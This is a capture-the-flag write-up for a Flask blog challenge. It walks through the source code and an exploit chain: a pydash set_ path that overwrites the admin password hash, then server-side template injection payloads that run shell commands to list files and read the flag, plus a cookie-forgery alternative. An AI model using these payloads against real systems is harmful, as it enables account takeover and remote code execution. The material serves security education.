Introduction

This challenge is a WEB challenge from the PWNME CTF.

Context Explanation

A company needs a website to generate a QR Code. They asked a freelancer to do the job.

Since the website went live, they noticed strange behavior on their server.

They need you to audit their code and help them fix their problem.

Directive

The flag is located in /app/flag.txt

Solution

The web application to test is a blog that allows you to create articles and display them.

You can create and display articles, even if you are not logged in.

There is a section to create an account and log in.

I started by analyzing the sources that are available for download (source link).

The application is a Python web site with the Flask framework, which uses only two dependencies:

  • Flask: latest
  • PyDash: 5.1.2

Analyzing app.py code

I started by analyzing the app.py file which is the main file of the application.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from flask import Flask, render_template, render_template_string, request, redirect, session, sessions
from users import Users
from articles import Articles


users = Users()
articles  = Articles()
app = Flask(__name__, template_folder='templates')
app.secret_key = '(: secret :)'


@app.context_processor
def inject_user():
    return dict(session=session)

@app.route("/create", methods=["POST"])
def create_article():
    name, content = request.form.get('name'), request.form.get('content')
    if type(name) != str or type(content) != str or len(name) == 0:
        return redirect('/articles')
    articles.set(name, content)
    return redirect('/articles')

@app.route("/remove/<name>")
def remove_article(name):
    articles.remove(name)
    return redirect('/articles')

@app.route("/articles/<name>")
def render_page(name):
    article_content = articles[name]
    if article_content == None:
        pass
    if 'user' in session and users[session['user']['username']]['seeTemplate'] != False:
        article_content = render_template_string(article_content)
    return render_template('article.html', article={'name':name, 'content':article_content})

@app.route("/articles")
def get_all_articles():
    return render_template('articles.html', articles=articles.get_all())

@app.route('/show_template')
def show_template():
    if 'user' in session and users[session['user']['username']]['restricted'] == False:
        if request.args.get('value') == '1':
            users[session['user']['username']]['seeTemplate'] = True
            session['user']['seeTemplate'] = True
        else:
            users[session['user']['username']]['seeTemplate'] = False
            session['user']['seeTemplate'] = False
    return redirect('/articles')


@app.route("/register", methods=["POST", "GET"])
def register():
    if request.method == 'GET':
        return render_template('register.html')
    username, password = request.form.get('username'), request.form.get('password')
    if type(username) != str or type(password) != str:
        return render_template("register.html", error="Wtf are you trying bro ?!")
    result = users.create(username, password)
    if result == 1:
        session['user'] = {'username':username, 'seeTemplate': users[username]['seeTemplate']}
        return redirect("/")
    elif result == 0:
        return render_template("register.html", error="User already registered")
    else:
        return render_template("register.html", error="Error while registering user")


@app.route("/login", methods=["POST", "GET"])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    username, password = request.form.get('username'), request.form.get('password')
    if type(username) != str or type(password) != str:
        return render_template('login.html', error="Wtf are you trying bro ?!")
    if users.login(username, password) == True:
        session['user'] = {'username':username, 'seeTemplate': users[username]['seeTemplate']}
        return redirect("/")
    else:
        return render_template("login.html", error="Error while login user")


@app.route('/logout')
def logout():
    session.pop('user')
    return redirect('/')

@app.route('/')
def index():
    return render_template("home.html")


app.run('0.0.0.0', 5000, debug=True)

Here we notice several things:

  • The Flask server is in debug mode, which activates the /console endpoint that allows you to execute Python code on the server.
  • There is a session variable seeTemplate which allows you to display or not the content of the articles as a template, potentially allowing template injection: article_content = render_template_string(article_content).
  • The secret key is declared in the code and not in the environment variables, so we can potentially retrieve or overwrite its value to sign cookies.

Analyzing users.py code

I then looked at the users.py file that manages the users.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import hashlib

class Users:

    users = {}

    def __init__(self):
        self.users['admin'] = {'password': None, 'restricted': False, 'seeTemplate':True }

    def create(self, username, password):
        if username in self.users:
            return 0
        self.users[username]= {'password': hashlib.sha256(password.encode()).hexdigest(), 'restricted': True, 'seeTemplate': False}
        return 1
    
    def login(self, username, password):
        if username in self.users and self.users[username]['password'] == hashlib.sha256(password.encode()).hexdigest():
            return True
        return False
    
    def seeTemplate(self, username, value):
        if username in self.users and self.users[username].restricted == False:
            self.users[username].seeTemplate = value

    def __getitem__(self, username):
        if username in self.users:
            return self.users[username]
        return None

We see in this file that there is an admin user with the password None and seeTemplate True:

1
self.users['admin'] = {'password': None, 'restricted': False, 'seeTemplate':True }

By default, when you create a user via the register function, the user is restricted and cannot view templates:

1
self.users[username]= {'password': hashlib.sha256(password.encode()).hexdigest(), 'restricted': True, 'seeTemplate': False}

We also see that the encryption method used for passwords is sha256.

Analyzing articles.py code

The last Python file to analyze is articles.py which manages the articles.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import pydash

class Articles:

    def __init__(self):
        self.set('welcome', 'Test of new template system: {%block test%}Block test{%endblock%}')

    def set(self, article_name, article_content):
        pydash.set_(self, article_name, article_content)
        return True


    def get(self, article_name):
        if hasattr(self, article_name):
            return (self.__dict__[article_name])
        return None
    
    def remove(self, article_name):
        if hasattr(self, article_name):
            delattr(self, article_name)

    def get_all(self):
        return self.__dict__

    def __getitem__(self, article_name):
        return self.get(article_name)

Here, only one thing is interesting: the set function that allows you to create an article. We see that the set_ function from the pydash library is used to create a class attribute with the article name and the article content.

Exploitation

Unfortunately for us, the /console endpoint is not accessible because it is protected by a code. There are ways to bypass this protection by having access to certain files on the machine, but this is not possible in this challenge.

There are several ways to exploit this application, but all involve creating an article with a specific name.

To understand the exploitation, we need to look at the set_ function. Here is the official documentation of the pydash library:

1
2
3
pydash.objects.set_(obj, path, value)

Assigns the value of an object described by the path. If part of the object's path does not exist, it will be created.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import pydash

pydash.set_({}, 'a.b.c', 1)
# Output: {'a': {'b': {'c': 1}}}

pydash.set_({}, 'a.0.c', 1)
# Output: {'a': {'0': {'c': 1}}}

pydash.set_([1, 2], '[2][0]', 1)
# Output: [1, 2, [1]]

pydash.set_({}, 'a.b[0].c', 1)
# Output: {'a': {'b': [{'c': 1}]}}

Source: https://pydash.readthedocs.io/en/v5.1.2/api.html#pydash.objects.set_

In our case, the set_ function is called with self as the first parameter, which corresponds to the Articles class. The second parameter is the name of the article, and the third parameter is the content of the article.

Since we control the title and content of the article, we can abuse the path to overwrite existing values or create new values.

For example, with an article named __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.users.admin.password, we can overwrite the value of the hashed administrator password and thus access their account.

Admin account access

By creating an article with this name and content 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 (“admin” in SHA256), we have just reset the administrator’s password.

1
2
3
4
import hashlib

print(hashlib.sha256("admin".encode()).hexdigest())
#8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918

Now we can log in with admin:admin and have access to the seeTemplate feature.

Admin login

Access to the flag

Now that we have access to the admin account and the ability to view templates, we need to find a way to access the flag.

To do this, we remember that when creating an article, the content is passed through the Flask render_template_string function, which renders a template from a string.

By exploiting this function, we can inject a template and list files.

1
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

Anozer Blog ls

We can execute arbitrary commands on the server. All that’s left is to read the flag.

1
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("cat /flag.txt").read() }}

Anozer Blog flag

Flag : PWNME{de3_pOL1tTiOn_cAn_B3_D3s7rUctv3}

Alternative solution

It is also possible to use the set_ function from pydash to overwrite the value of the secret key.

In a Flask application using sessions, the secret key is used to sign session cookies. If we manage to overwrite the value of the secret key, we can sign our own session cookies and thus log in with the admin account.

We can then use a tool like flask-unsign to read the content of a regular user’s session cookie, modify the payload to replace the username with admin, and sign the cookie with our new secret key.

Tips & Tricks

  • Read the documentation of the libraries used.
  • Identify the entry points of the application.
  • Identify places where user data is used.
  • The set_ function from the pydash library allows creating class attributes from a string and can be used to overwrite existing values or create new ones.
  • Test SSTI (Server-Side Template Injection) with payloads like {{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }} on places where user data is used and interpreted.